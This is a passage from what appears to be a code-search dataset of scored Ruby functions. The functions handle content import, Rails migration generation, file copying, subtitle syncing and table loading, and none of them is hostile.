Run post_import validation after docx.at file has been copied into\n # content. This is so that the validation console prints out the content\n # AT file path which is where corrections have to be made.\n # We want to be able to open content AT file with single click in editor.\n validate_docx_post_import(options)\n # Make sure that any newly created content AT files also have a\n # data.json file.\n # Deactivate st_sync for this new file by default\n fix_add_initial_data_json_file(\n options.merge(\n 'initial_only_data_json_settings' => { 'st_sync_active' => false }\n )\n )\n fix_insert_record_mark_into_all_at_files(options)\n options['report_file'] ||= config.compute_glob_pattern(\n :content_dir, :validation_report_file, ''\n )\n options['append_to_validation_report'] = false\n reset_validation_report(options, 'import_docx')\n validate_content(options.merge('run_options' => []))\n end", "title": "" }, { "docid": "4603595a3e2fc86e47ea9e413b45d545", "score": "0.49694663", "text": "def replace_content(value)\n return false if target_url.nil?\n return false if ! include_in_import?\n if source_url.to_s != target_url.to_s\n yield(value.gsub(source_url.to_s, target_url.to_s))\n end\n end", "title": "" }, { "docid": "d9a85f65e9a87e462e3b317a931af829", "score": "0.49614722", "text": "def replace_new_content( depositor, ingest_dirname, replace_dirname, workset_filename, current, total )\n\n replaced = false\n filename = File.join( ingest_dirname, workset_filename )\n _, asset_filenames = IngestHelpers.load_workset( filename )\n\n puts \"Processing #{current} of #{total}: #{filename} ...\"\n\n work_id = IngestHelpers.get_ingest_id( filename )\n if work_id.blank?\n puts \"ERROR: #{filename} has no ingest id, continuing anyway\"\n return false, replaced\n end\n\n work = TaskHelpers.get_work_by_id( work_id )\n if work.nil?\n puts \"ERROR: work #{work_id} does not exist, continuing anyway\"\n return false, replaced\n end\n\n asset_filenames.each_with_index do |f, ix|\n puts \" checking asset #{ix + 1} of #{asset_filenames.length}: #{f}\"\n\n # handle dry running\n next if ENV[ 'DRY_RUN' ]\n\n replacement_filename = File.join( replace_dirname, f )\n if File.exist?( replacement_filename ) == true\n puts \" located replacement: #{replacement_filename}\"\n\n # delete the existing version if we can find it\n work.file_sets.each do |fs|\n if fs.label == f\n TaskHelpers.delete_fileset( depositor, fs )\n break\n end\n end\n\n # and upload the replacement file\n fileset = TaskHelpers.upload_file( depositor, work, replacement_filename, f )\n fileset.date_uploaded = DateTime.now\n fileset.save!\n\n replaced = true\n end\n\n end\n\n return true, replaced\n end", "title": "" }, { "docid": "69865308d39ce0752987fd18ca613957", "score": "0.4958808", "text": "def sync_subtitles_for_foreign_files(options)\n if config.setting(:is_primary_repo)\n raise \"This command can only be used in a foreign repository.\"\n end\n\n file_count = 0\n primary_content_type = content_type.corresponding_primary_content_type\n primary_config = primary_content_type.config\n primary_repo = primary_content_type.repository\n primary_repo_sync_commit = primary_repo.read_repo_level_data['st_sync_commit']\n\n Repositext::Cli::Utils.read_files(\n config.compute_glob_pattern(\n options['base-dir'] || :content_dir,\n options['file-selector'] || :all_files,\n options['file-extension'] || :at_extension\n ),\n options['file_filter'],\n nil,\n \"Reading content AT files\",\n options\n ) do |content_at_file|\n file_count += 1\n # We want to sync the foreign file to the current primary\n # st_sync_commit.\n # NOTE: This process updates the file level st_sync data for\n # `st_sync_commit` and `st_sync_subtitles_to_review` for content_at_file.\n method_args = {\n 'config' => primary_config,\n 'primary_repository' => primary_repo,\n 'to-commit' => primary_repo_sync_commit\n }\n # We use this method as part of subtitle import to re-apply any pending\n # st_ops since the subtitle export. We accomplish this by providing\n # the 'from-commit' option with the value of the export git commit:\n if options['re-apply-st-ops-since-st-export']\n # During the subtitle import we copied the value of\n # `exported_subtitles_at_st_sync_commit` to `st_sync_commit`, and\n # then we set `exported_subtitles_at_st_sync_commit` to null.\n # So at this point we have to read the export commit from `st_sync_commit`.\n export_commit = content_at_file.read_file_level_data['st_sync_commit']\n if '' == export_commit.to_s.strip\n raise \"Missing `st_sync_commit` (effective export git commit), can't re-apply st_ops since st export!\"\n end\n method_args['from-commit'] = export_commit\n end\n sync_sts = Repositext::Process::Sync::Subtitles.new(method_args)\n sync_sts.sync_foreign_file(content_at_file)\n end\n end", "title": "" }, { "docid": "04ebe863ed5e73d7b4833e8d2260d5a8", "score": "0.49553153", "text": "def add_cmd_auto_correct_design_file cmds,functional_file_name,modified_design_file_path\n\n # Auto-correction needs to be done on the task node (i.e. in\n # the task script), not on the Bourreau host. Otherwise, FSL\n # needs to be installed on the Bourreau node, which might not\n # be the case (e.g. in case the task runs in a Docker container).\n if params[:npts_auto] == \"1\"\n command=<<-END\n# Auto-corrects fmri(npts) unless #{functional_file_name} was excluded or correction was already done.\nif [ -z ${EXCLUDED_FILES[\\'#{functional_file_name}\\']+x} ] && [ -z ${NPTS_CORRECTED+z} ]\nthen\n NPTS=`${FSLNVOLS} #{functional_file_name}`\n if [ $? != 0 ]\n then\n error \"Cannot auto-correct number of volumes in #{functional_file_name} '(fslnvols failed)'.\"\n fi\n info \"Auto-corrected number of volumes to ${NPTS}.\"\n NPTS_CORRECTED=true\nfi\nEND\n cmds << command\n cmds << set_design_file_option(modified_design_file_path,\"npts\",\"${NPTS}\")\n end\n\n\n if params[:tr_auto] == \"1\"\n command=<<-END\n# Auto-corrects parameter fmri(tr) unless #{functional_file_name} was excluded or correction was already done.\nif [ -z ${EXCLUDED_FILES[\\'#{functional_file_name}\\']+x} ] && [ -z ${TR_CORRECTED+z} ]\nthen\n TR=`${FSLHD} #{functional_file_name} | awk '$1==\\\"pixdim4\\\" {print $2}'`\n if [ $? != 0 ]\n then\n error \"Cannot auto-correct TR in #{functional_file_name} '(fslhd failed)'.\"\n fi\n info \"Auto-corrected TR to ${TR}.\"\n TR_CORRECTED=true\nfi\nEND\n cmds << command\n cmds << set_design_file_option(modified_design_file_path,\"tr\",\"${TR}\")\n end\n\n if params[:totalvoxels_auto] == \"1\"\n command=<<-END\n# Auto-corrects parameter fmri(totalVoxels) unless #{functional_file_name} was excluded or correction was already done.\nif [ -z ${EXCLUDED_FILES[\\'#{functional_file_name}\\']+x} ] && [ -z ${NVOX_CORRECTED+z} ]\nthen\n NVOX=`${FSLSTATS} #{functional_file_name} -v | awk '{print $1}'`\n if [ $? != 0 ]\n then\n error \"Cannot auto-correct number of voxels in #{functional_file_name} '(fslstats failed)'.\"\n fi\n info \"Auto-corrected total voxels to ${NVOX}.\"\n NVOX_CORRECTED=true\nfi\nEND\n cmds << command\n cmds << set_design_file_option(modified_design_file_path,\"totalVoxels\",\"${NVOX}\")\n end\n end", "title": "" }, { "docid": "a15930b34c799d64d4f5214e31f0eb26", "score": "0.49534276", "text": "def convert_content(_file)\n raise NotImplementedError.new(\"#{self.class.name}#convert_content is an abstract method.\")\n end", "title": "" }, { "docid": "e9c8434f4824303825a85b6bc5808247", "score": "0.49425098", "text": "def new_migrated_datafile id \n new_datafile_override MIGRATED_FILES, id\n end", "title": "" }, { "docid": "950f38fe7d56a024ed2ab717e52a9cfa", "score": "0.4941348", "text": "def parsed_content\n #content\n #TODO turn this off! set the following to false\n content = self.relink_content false\n #content = Page.cleanup(content) #unless it's already been done locally that is...\n \n end", "title": "" }, { "docid": "33b6dc37d4356b10087ba886c45e026e", "score": "0.49308634", "text": "def update_file_uris file, repo\n $logger.debug \"Trying to read '#{file}'\"\n begin\n markdown_text = File.read(file)\n markdown_tree = Kramdown::Document.new(markdown_text)\n prepend_repo_to_rel_links markdown_tree.root, repo\n File.write(file, markdown_tree.to_kramdown)\n rescue Exception => e\n $logger.warn \"Exception happened in '#{file}' in #{FileUtils.pwd} => #{e}\"\n end\nend", "title": "" }, { "docid": "3efbea6c8cf72cf9b5c1ccd6c0662f8c", "score": "0.49272153", "text": "def create_migration_file\n migration_template 'migration.rb', 'db/migrate/create_contents.rb'\n end", "title": "" }, { "docid": "95323499c8c9f5ed08cc16bb1b5e8352", "score": "0.49219996", "text": "def create_migration(count,task,migrationName,templateName,business_type,city_name=\"default\",branch_name=\"default\")\n\n puts \"the value of task is #{task}..\"\n\n if task == \"load_\"\n\n system \"rails generate migration #{migrationName}\"\n puts \"rails generated the migration at #{Time.now}\"\n\n elsif task == \"create_\"\n\n system \"rails generate model #{migrationName}\"\n puts \"rails generated the migration at #{Time.now}\"\n\n end\n\n if business_type == 'local' and task == \"load_\"\n\n source = File.open(templateName)\n searchedFile = Dir[ENV['APP_PATH']+\"/db/migrate/*_\"+task+business_type.downcase+\"_\"+city_name.downcase+\"_\"+branch_name.downcase+\"_\"+ENV['VENDOR_NAME'].downcase+\"_\"+\"products_\"+count+\".rb\"]\n puts \"Searching for #{searchedFile}\"\n puts \"Searched file\"\n #targetFileName = File.basename(searchFile[0])\n target = File.open(searchedFile[0], \"w\")\n\n puts \"File opened\"\n target.write( source.read(64) ) while not source.eof?\n\n source.close\n target.close\n puts \"Reached target.close\"\n\n return searchedFile[0]\n\n elsif business_type == 'local' and task == \"create_\"\n\n source = File.open(templateName)\n searchedFile = Dir[ENV['APP_PATH']+\"/db/migrate/*_\"+task+business_type.downcase+\"_\"+city_name.downcase+\"_\"+branch_name.downcase+\"_\"+ENV['VENDOR_NAME'].downcase+\"_\"+\"products.rb\"]\n puts \"Searching for #{searchedFile}\"\n puts \"Searched file\"\n #targetFileName = File.basename(searchFile[0])\n target = File.open(searchedFile[0], \"w\")\n\n puts \"File opened\"\n target.write( source.read(64) ) while not source.eof?\n\n source.close\n target.close\n puts \"Reached target.close\"\n\n return searchedFile[0]\n\n\n elsif business_type == 'online' and task == \"load_\"\n puts \"Entered online create migration!!\"\n\n\tputs \"business type is #{city_name}\"\n\n source = File.open(templateName)\n searchedFile = Dir[ENV['APP_PATH']+\"/db/migrate/*_\"+task+business_type.downcase+\"_\"+ENV['VENDOR_NAME'].downcase+\"_\"+\"products_\"+count+\".rb\"]\n\n puts \"Searching for #{searchedFile}\"\n puts \"Searchedfile declared!!\"\n\n #targetFileName = File.basename(searchFile[0])\n target = File.open(searchedFile[0], \"w\")\n puts \"Target file opened!!\"\n target.write( source.read(64) ) while not source.eof?\n\n source.close\n target.close\n\n puts \"Going to return searched file!!\"\n return searchedFile[0]\n\n\n elsif business_type == 'online' and task == \"create_\"\n puts \"Entered online create migration!!\"\n\n\tputs \"business type is #{city_name}\"\n\n source = File.open(templateName)\n searchedFile = Dir[ENV['APP_PATH']+\"/db/migrate/*_\"+task+business_type.downcase+\"_\"+ENV['VENDOR_NAME'].downcase+\"_\"+\"products.rb\"]\n\n puts \"Searching for #{searchedFile}\"\n puts \"Searchedfile declared!!\"\n\n #targetFileName = File.basename(searchFile[0])\n target = File.open(searchedFile[0], \"w\")\n puts \"Target file opened!!\"\n target.write( source.read(64) ) while not source.eof?\n\n source.close\n target.close\n\n puts \"Going to return searched file!!\"\n return searchedFile[0]\n\n\n\n else\n abort(\"Error while handling the file\")\n end\n\n end", "title": "" }, { "docid": "ad45590d33dca717612a3c9bb5bc119e", "score": "0.49190587", "text": "def file2sql(table, files, add={})\n settings = {\n 'defaulttype'=>\"varchar(255) NOT NULL\",\n 'additionalcolumns'=>[],\n 'column'=>{},\n 'key'=>[],\n 'fulltext'=>[],\n 'columnprefix'=>\"\",\n 'columnsuffix'=>\"\",\n 'fterminated'=>\"\\t\"\n }\n settings = settings.merge(add)\n \n #everytime drop the table\n $sql.query(\"DROP TABLE IF EXISTS `#{table}`\")\n headerexist = []\n \n files.each do |doc|\n header = doc.shift.split(settings['fterminated']) #read the header\n header.collect! { |h| settings['columnprefix']+h+settings['columnsuffix'] }\n \n if headerexist.empty? then\n #need to create table first\n dbcreate = []\n #\"normal\" columns\n settings['additionalcolumns'].each do |h|\n /^`([^`]+)`/.match(h)\n headerexist << $1\n dbcreate << h\n end\n header.each do |h|\n headerexist << h\n if settings['column'].has_key?(h) then\n dbcreate << \"`#{h}` #{settings['column'][h]}\"\n else\n dbcreate << \"`#{h}` #{settings['defaulttype']}\"\n end\n end\n \n #primary\n dbcreate << \"PRIMARY KEY (`#{settings['primary']}`)\"\n #keys\n settings['key'].each do |k|\n dbcreate << \"KEY `#{k}` (`#{k}`)\" if headerexist.include?(k)\n end\n #fulltext\n settings['fulltext'].each do |k|\n dbcreate << \"FULLTEXT KEY `#{k}` (`#{k}`)\" if headerexist.include?(k)\n end\n dbcreate.collect!{ |v| v.force_encoding(\"UTF-8\").to_s }\n begin\n $sql.query(\"CREATE TABLE IF NOT EXISTS `#{table}` (\n #{dbcreate.join(\",\\n\")}\n ) ENGINE=MyISAM DEFAULT CHARSET=utf8\")\n log \" Successfully automatically created table #{table}\"\n rescue\n log \"Error: Cannot auto-create table #{table}: #{$!}\"\n \"CREATE TABLE IF NOT EXISTS `#{table}` (\n #{dbcreate.join(\",\\n\")}\n ) ENGINE=MyISAM DEFAULT CHARSET=utf8\".split(\"\\n\").each do |l|\n log l\n end\n exit\n end\n else\n #make sure we have all columns we need and create if someone is left\n dbcreate = []\n newheader = header-headerexist\n newheader.each do |h|\n #found header to add\n headerexist << h\n if settings['column'].has_key?(h) then\n dbcreate << \"`#{h}` #{settings['column'][h]}\"\n else\n dbcreate << \"`#{h}` #{settings['defaulttype']}\"\n end\n #add keys?\n dbcreate << \"KEY `#{h}` (`#{h}`)\" if settings['key'].include?(h)\n dbcreate << \"FULLTEXT KEY `#{h}` (`#{h}`)\" if settings['fulltext'].include?(h) \n end\n if !dbcreate.empty? then\n begin\n $sql.query(\"ALTER TABLE `#{table}` ADD #{dbcreate.join(\",\\n\")}\")\n log \" Successfully added new column(s) \\\"#{newheader.join(\", \")}\\\" to auto-created table #{table}\"\n rescue\n log \"Error: Cannot add column(s) \\\"#{newheader.join(\", \")}\\\" to auto-created table #{table}: #{$!}\"\n \"ALTER TABLE `#{table}` ADD #{dbcreate.join(\",\\n\")}\".split(\"\\n\").each do |l|\n log l\n end\n exit\n end\n end\n end\n #save doc as file and load it into the BD\n #delete old tmp file if we run previously into an error\n File.delete($settings['workingdir']+\"/dbautocreate.tmp\") if File.exists?($settings['workingdir']+\"/dbautocreate.tmp\")\n tmp = File.new($settings['workingdir']+\"/dbautocreate.tmp\", File::CREAT|File::APPEND|File::WRONLY, 0777)\n tmp.write(doc.join(\"\\n\"))\n tmp.close\n\n $sql.query(\"LOAD DATA INFILE '#{$settings['workingdir']+\"/dbautocreate.tmp\"}' IGNORE INTO TABLE #{table} CHARACTER SET 'utf8' FIELDS TERMINATED BY '#{settings['fterminated']}' (#{header.join(\", \")})\")\n File.delete($settings['workingdir']+\"/dbautocreate.tmp\")\n end\nend", "title": "" }, { "docid": "ad45590d33dca717612a3c9bb5bc119e", "score": "0.49190587", "text": "def file2sql(table, files, add={})\n settings = {\n 'defaulttype'=>\"varchar(255) NOT NULL\",\n 'additionalcolumns'=>[],\n 'column'=>{},\n 'key'=>[],\n 'fulltext'=>[],\n 'columnprefix'=>\"\",\n 'columnsuffix'=>\"\",\n 'fterminated'=>\"\\t\"\n }\n settings = settings.merge(add)\n \n #everytime drop the table\n $sql.query(\"DROP TABLE IF EXISTS `#{table}`\")\n headerexist = []\n \n files.each do |doc|\n header = doc.shift.split(settings['fterminated']) #read the header\n header.collect! { |h| settings['columnprefix']+h+settings['columnsuffix'] }\n \n if headerexist.empty? then\n #need to create table first\n dbcreate = []\n #\"normal\" columns\n settings['additionalcolumns'].each do |h|\n /^`([^`]+)`/.match(h)\n headerexist << $1\n dbcreate << h\n end\n header.each do |h|\n headerexist << h\n if settings['column'].has_key?(h) then\n dbcreate << \"`#{h}` #{settings['column'][h]}\"\n else\n dbcreate << \"`#{h}` #{settings['defaulttype']}\"\n end\n end\n \n #primary\n dbcreate << \"PRIMARY KEY (`#{settings['primary']}`)\"\n #keys\n settings['key'].each do |k|\n dbcreate << \"KEY `#{k}` (`#{k}`)\" if headerexist.include?(k)\n end\n #fulltext\n settings['fulltext'].each do |k|\n dbcreate << \"FULLTEXT KEY `#{k}` (`#{k}`)\" if headerexist.include?(k)\n end\n dbcreate.collect!{ |v| v.force_encoding(\"UTF-8\").to_s }\n begin\n $sql.query(\"CREATE TABLE IF NOT EXISTS `#{table}` (\n #{dbcreate.join(\",\\n\")}\n ) ENGINE=MyISAM DEFAULT CHARSET=utf8\")\n log \" Successfully automatically created table #{table}\"\n rescue\n log \"Error: Cannot auto-create table #{table}: #{$!}\"\n \"CREATE TABLE IF NOT EXISTS `#{table}` (\n #{dbcreate.join(\",\\n\")}\n ) ENGINE=MyISAM DEFAULT CHARSET=utf8\".split(\"\\n\").each do |l|\n log l\n end\n exit\n end\n else\n #make sure we have all columns we need and create if someone is left\n dbcreate = []\n newheader = header-headerexist\n newheader.each do |h|\n #found header to add\n headerexist << h\n if settings['column'].has_key?(h) then\n dbcreate << \"`#{h}` #{settings['column'][h]}\"\n else\n dbcreate << \"`#{h}` #{settings['defaulttype']}\"\n end\n #add keys?\n dbcreate << \"KEY `#{h}` (`#{h}`)\" if settings['key'].include?(h)\n dbcreate << \"FULLTEXT KEY `#{h}` (`#{h}`)\" if settings['fulltext'].include?(h) \n end\n if !dbcreate.empty? then\n begin\n $sql.query(\"ALTER TABLE `#{table}` ADD #{dbcreate.join(\",\\n\")}\")\n log \" Successfully added new column(s) \\\"#{newheader.join(\", \")}\\\" to auto-created table #{table}\"\n rescue\n log \"Error: Cannot add column(s) \\\"#{newheader.join(\", \")}\\\" to auto-created table #{table}: #{$!}\"\n \"ALTER TABLE `#{table}` ADD #{dbcreate.join(\",\\n\")}\".split(\"\\n\").each do |l|\n log l\n end\n exit\n end\n end\n end\n #save doc as file and load it into the BD\n #delete old tmp file if we run previously into an error\n File.delete($settings['workingdir']+\"/dbautocreate.tmp\") if File.exists?($settings['workingdir']+\"/dbautocreate.tmp\")\n tmp = File.new($settings['workingdir']+\"/dbautocreate.tmp\", File::CREAT|File::APPEND|File::WRONLY, 0777)\n tmp.write(doc.join(\"\\n\"))\n tmp.close\n\n $sql.query(\"LOAD DATA INFILE '#{$settings['workingdir']+\"/dbautocreate.tmp\"}' IGNORE INTO TABLE #{table} CHARACTER SET 'utf8' FIELDS TERMINATED BY '#{settings['fterminated']}' (#{header.join(\", \")})\")\n File.delete($settings['workingdir']+\"/dbautocreate.tmp\")\n end\nend", "title": "" }, { "docid": "a3cc7a1a9088873986206958a1fc5b6e", "score": "0.49072286", "text": "def copy_migrations\n # Can't get this any more DRY, because we need this order.\n better_migration_template \"create_atrium_collections.rb\"\n better_migration_template \"create_atrium_search_facets.rb\"\n better_migration_template \"create_atrium_exhibits.rb\"\n better_migration_template \"create_atrium_showcases.rb\"\n better_migration_template \"create_atrium_showcase_items.rb\"\n better_migration_template \"create_atrium_showcase_facet_selections.rb\"\n better_migration_template \"create_atrium_browse_levels.rb\"\n better_migration_template \"create_atrium_descriptions.rb\"\n better_migration_template \"create_atrium_essays.rb\"\n end", "title": "" }, { "docid": "eb4ffda6f2b5e4feb953f2f7eb4a9b1f", "score": "0.490653", "text": "def copy_ants_admin_libraries_migration\n template \"ants_admin_libraries/migration.rb\", \"db/migrate/#{Time.zone.now.strftime(\"%Y%m%d%H%M%S\")}_ants_admin_create_ants_admin_libraries.rb\" if !migration_exists?\n end", "title": "" }, { "docid": "446d1bd4d896068c36bb72935e8b8cd4", "score": "0.49030572", "text": "def update_content_type_file(doc)\n @slides.each do |slide|\n node = doc.xpath(\".//xmlns:Override[@PartName='/ppt/slides/#{::File.basename(slide[:old_path])}']\").first\n new_node = node.dup\n new_node.set_attribute('PartName', \"/ppt/#{slide[:target]}\")\n node.after new_node\n end\n \n @slide_rels.each do |rel_file|\n rel_file[:tags].each do |tag|\n # Create a new record in the [CONTENT_TYPES] xml file\n tag_filename = ::File.basename(tag[:old_path])\n node = doc.xpath(\".//xmlns:Override[@PartName='/ppt/tags/#{tag_filename}']\").first\n new_node = node.dup\n new_node.set_attribute('PartName', \"/ppt/tags/#{tag[:new_filename]}\")\n node.after new_node\n end\n end\n end", "title": "" }, { "docid": "41930003ba9c8f81337045cc7ce6432e", "score": "0.48991185", "text": "def migrations(org, options = T.unsafe(nil)); end", "title": "" }, { "docid": "b06959e0b2d21ce5bd120774b04e9bdd", "score": "0.48963588", "text": "def migrate_source_file(orig_path, encoding)\n rr_output_file_path = orig_path.partition(SOURCE_ROOT)[2].rpartition('.')[0] + \".pcf\"\n output_file_path = OUTPUT_ROOT + OUTPUT_PUB_DIR + rr_output_file_path\n rr_output_prod_path = rr_output_file_path.rpartition('.')[0] + OUTPUT_EXTENSION\n puts \"output_file_path: \" + output_file_path\n @log.puts \"output_file_path: \" + output_file_path\n \n rr_dir = rr_output_file_path.rpartition('/')[0]\n \n create_directory(output_file_path) #create directory if needed\n \n puts \"orig_path: \" + orig_path\n @log.puts \"orig_path: \" + orig_path\n \n if File.file?(orig_path)\n puts \"Source page exists.\"\n @log.puts \"Source page exists.\"\n \n File.open(orig_path, \"r:#{encoding}\") do |html_file|\n\n # this will sometimes fail and should be rescued\n html_doc = Nokogiri.HTML(html_file)\n html_doc = Nokogiri.HTML(html_doc.to_s.encode(\"UTF-8\"))\n \n title = html_doc.xpath(\"//title/node()\").to_s\n # content = html_doc.xpath(\"//div[@id='content']/node()\").to_xhtml.gsub(/<!--[\\s\\S]*?-->/, \"\")\n content = get_content(html_doc)\n \n # @log.puts \"HTML Content: \" + content #for debugging\n \n #determine template based on source files\n template = \"\";\n if html_doc.xpath(\"//section[@class='carousel homepage-carousel']\").length > 0 #it's a homepage layout\n template = \"home\"\n elsif html_doc.xpath(\"//body\").to_s.gsub(/[s\\S]*?(<!--[\\s\\S]-->)[\\s\\S]*?/, \"\\\\1\").include? \"full width\" #it's a full width page\n template = \"full width\"\n elsif title.include? \"Interior\" #it's an interior page\n template = \"interior\"\n end\n \n #create the page depending on the template given\n if template == \"home\"\n #home page\n puts \"Template: home page\"\n @log.puts \"Template: home page\"\n \n doc_data = {\"title\" => title}\n @fp_home.punch_file(output_file_path, doc_data)\n \n puts \"Wrote new file at: #{output_file_path}\"\n @log.puts \"Wrote new file at: #{output_file_path}\"\n \n elsif template == \"full width\"\n #full width page\n puts \"Template: full width page\"\n @log.puts \"Template: full width page\"\n \n sidebar_disp = '<parameter name=\"sidebarDisplay\" prompt=\"Sidebar Display\" alt=\"Choose to show or hide the sidebar.\" type=\"select\">\n <option value=\"show\" selected=\"false\">Show</option>\n <option value=\"hide\" selected=\"true\">Hide</option>\n </parameter>';\n \n doc_data = {\"title\" => title, \"sidebar_disp\" => sidebar_disp}\n @fp_interior.punch_file(output_file_path, doc_data)\n \n puts \"Wrote new file at: #{output_file_path}\"\n @log.puts \"Wrote new file at: #{output_file_path}\"\n \n elsif template == \"interior\"\n #interior page\n puts \"Template: interior page\"\n @log.puts \"Template: interior page\"\n \n sidebar_disp = '<parameter name=\"sidebarDisplay\" prompt=\"Sidebar Display\" alt=\"Choose to show or hide the sidebar.\" type=\"select\">\n <option value=\"show\" selected=\"true\">Show</option>\n <option value=\"hide\" selected=\"false\">Hide</option>\n </parameter>';\n \n doc_data = {\"title\" => title, \"sidebar_disp\" => sidebar_disp}\n @fp_interior.punch_file(output_file_path, doc_data)\n \n puts \"Wrote new file at: #{output_file_path}\"\n @log.puts \"Wrote new file at: #{output_file_path}\"\n \n else\n puts \"Template not found!\"\n @log.puts \"Template not found!\"\n \n #copy file over as-is if no template found\n new_path = OUTPUT_ROOT + OUTPUT_PUB_DIR + orig_path.partition(SOURCE_ROOT)[2]\n puts \"filepath: \" + orig_path\n puts \"new_path: \" + new_path\n copy_file(orig_path, new_path)\n end\n \n #we're done writing pages, now add to the nav\n @sidenav_file_maker.write_link(rr_output_prod_path, title)\n \n #if it's the index page, create the props file\n if rr_output_prod_path.rpartition('/')[2] == INDEX_NAME + OUTPUT_EXTENSION\n props_path = rr_output_file_path.rpartition('/')[0] + PROPS_FILENAME\n @props_file_maker.write(OUTPUT_PUB_DIR + props_path, title)\n end\n end\n else\n puts \"Source file does not exist: \" + orig_path\n @log.puts \"Source file does not exist: \" + orig_path\n \n @missing_pages_arr[@missing_pages_arr_index] = orig_path.partition(SOURCE_ROOT)[2]\n @missing_pages_arr_index = @missing_pages_arr_index + 1\n end\nend", "title": "" }, { "docid": "1e505ea00f7508003859e3f2fd42503e", "score": "0.488682", "text": "def import_workshop_index_files(input, content)\n indir = File.expand_path(input)\n outdir = File.expand_path(content)\n workshop_out_dir = \"#{outdir}/course-materials\"\n rewrites = []\n Dir.chdir(input) do\n Dir[\"**/*\"].each do |f|\n if File.fnmatch(\"*.html\", File.basename(f))\n print \"processing: #{f} \"\n dest_dir = \"#{workshop_out_dir}/#{File.dirname(f)}\".sub(/\\/$/, \"\")\n if !File.fnmatch(\"index.html\", File.basename(f))\n dest_dir = \"#{workshop_out_dir}/#{f}\".sub(/\\.html$/, \"\")\n end\n rewrites << rewrite_workshop(f)\n FileUtils.mkdir_p(File.dirname(dest_dir))\n if !File.size?(\"#{indir}/#{f}\")\n puts \"<empty>\"\n next\n end\n doc = Hpricot(open(\"#{indir}/#{f}\"))\n attrs = parse_attributes(doc)\n if attrs[\"title\"].nil?\n attrs[\"title\"] = File.basename(dest_dir)\n end\n print \"A\"\n content = parse_content(doc)\n if content.nil?\n puts \"No content for #{indir}/#{f}\"\n next\n end\n puts \"C\"\n open(\"#{dest_dir}.html\", \"w\") do |out|\n out.write(content)\n end\n open(\"#{dest_dir}.yaml\", \"w\") do |out|\n out.write(attrs.to_yaml)\n end\n end\n end\n end\n open(\"workshop_rewrites.txt\", \"w\") { |f| f.write(rewrites.join(\"\\n\")) }\nend", "title": "" }, { "docid": "d2c0e5f9c81dd85951941b3f52057ebc", "score": "0.4884174", "text": "def process_markdown()\n docx_2_markdown(@options[:file])\n cleanup_content_markdown()\n create_ref_style_links() if @options[:ref_style_links]\n add_frontmatter() if @options[:jekyll]\n end", "title": "" }, { "docid": "5e8179ffb08061a15750e4ccc3ade7ca", "score": "0.48825622", "text": "def update_migration_files\n migration_templates = Dir.children(File.join(TEMPLATES, 'migrations')).sort\n migration_templates.each do |template_file|\n destination_file = template_file.match(/^\\d*_(.*\\.rb)/)[1] # 01_create_good_jobs.rb.erb => create_good_jobs.rb\n migration_template \"migrations/#{template_file}\", \"db/migrate/#{destination_file}\", skip: true\n end\n end", "title": "" }, { "docid": "cb5b7bc2f07065694680698c2e5412b2", "score": "0.4869187", "text": "def generate_files\n migration_template 'module_incoming_records.rb', \"db/migrate/create_#{name}_incoming_records.rb\"\n migration_template 'module_incoming_files.rb', \"db/migrate/create_#{name}_incoming_files.rb\"\n end", "title": "" }, { "docid": "f6b1651cf2b1c7ad5fad6ce9c8c64567", "score": "0.48655963", "text": "def get_extract(scandoc_id, app_id)\n ext_param = {\"c\"=>\"mortgage\",\"m\"=>\"get_output_by_id\", \"scandoc_id\"=>scandoc_id, \"app_id\"=>app_id}\n @gent.post(BASE_URL + \"/main.php\",ext_param,HDR)\n File.rename(\"./enreg.reestri.gov.ge/main.php\", \"./enreg.reestri.gov.ge/temp_extract.pdf\")\n pdf_parser(\"./enreg.reestri.gov.ge/temp_extract.pdf\")\n File.delete(\"./enreg.reestri.gov.ge/temp_extract.pdf\")\nend", "title": "" }, { "docid": "7ba06eebc47c7f0cc6221f39dea6c7ca", "score": "0.4860588", "text": "def copy_migrations\n [\n \"acts_as_follower_migration.rb\",\n \"add_social_to_users.rb\",\n \"create_single_use_links.rb\",\n \"add_ldap_attrs_to_user.rb\",\n \"add_avatars_to_users.rb\",\n \"create_checksum_audit_logs.rb\",\n \"create_version_committers.rb\",\n \"add_groups_to_users.rb\",\n \"create_local_authorities.rb\",\n \"create_trophies.rb\",\n 'add_linkedin_to_users.rb',\n 'create_tinymce_assets.rb',\n 'create_content_blocks.rb',\n 'create_featured_works.rb',\n 'add_external_key_to_content_blocks.rb'\n ].each do |file|\n better_migration_template file\n end\n end", "title": "" }, { "docid": "23dba41182c358018c75c164f0421f7b", "score": "0.48560226", "text": "def migration_file_name; end", "title": "" }, { "docid": "f3331a86178a4359e88eede9e4936a35", "score": "0.48552865", "text": "def migration_template(source, destination, config = T.unsafe(nil)); end", "title": "" }, { "docid": "e08ca15b34b4acb954bc6a09a0c592af", "score": "0.48514578", "text": "def content_path; end", "title": "" }, { "docid": "08e38966154c6ef063a27c4d0f36c842", "score": "0.48444745", "text": "def adapt_content content, site_url\n if content\n\n parsed_content = Nokogiri::HTML.fragment(content)\n\n # remove scripts\n parsed_content.css('script').each do |node|\n node.unlink\n end\n\n # inline noscripts contents\n parsed_content.css('noscript').each do |node|\n node.elements.each do |sub|\n node.add_next_sibling sub\n end\n node.unlink\n end\n\n uri = Addressable::URI.parse(site_url)\n\n # make links absolutes\n parsed_content.search('img[@src],frame[@src],embed[@src]').each do |i|\n i['src'] = uri.join(i['src']).normalize.to_s\n end\n\n parsed_content.search('a[@href]').each do |a|\n # not for internal links\n unless a['href'].index('#') == 0\n a['href'] = uri.join(a['href']).normalize.to_s\n end\n end\n\n parsed_content.to_s\n end\n end", "title": "" }, { "docid": "934cb4bbfbc0d8d9289a87593193bd95", "score": "0.48433766", "text": "def extract_supporting_file(filename, content)\n supporting_solution_object = default_codaveri_solution_template\n\n supporting_solution_object[:path] = filename.to_s\n supporting_solution_object[:content] = content\n\n @solution_files.append(supporting_solution_object)\n end", "title": "" }, { "docid": "01543809f38994179aeaa490418472ed", "score": "0.48367697", "text": "def copy_files\n return if options['skip-migration']\n migration_template 'migration.rb', 'db/migrate/add_cantina_client_columns_to_users.rb'\n end", "title": "" }, { "docid": "64557b99760877b9acf334c9a45ae5cf", "score": "0.48337746", "text": "def create_migration_file\n #migration_template 'migration.rb', 'db/migrate/create_beta_invite_model_data.rb'\n #pulling all the migration templates and generating migartion file for each\n \n migration_template 'create_beta_invites.rb', 'db/migrate/create_beta_invites.rb' if (Dir.glob(\"db/migrate/[0-9]*_*.rb\").grep(/\\d+_create_beta_invites.rb$/).first).nil?\n migration_template 'create_delayed_jobs.rb', 'db/migrate/create_delayed_jobs.rb' if 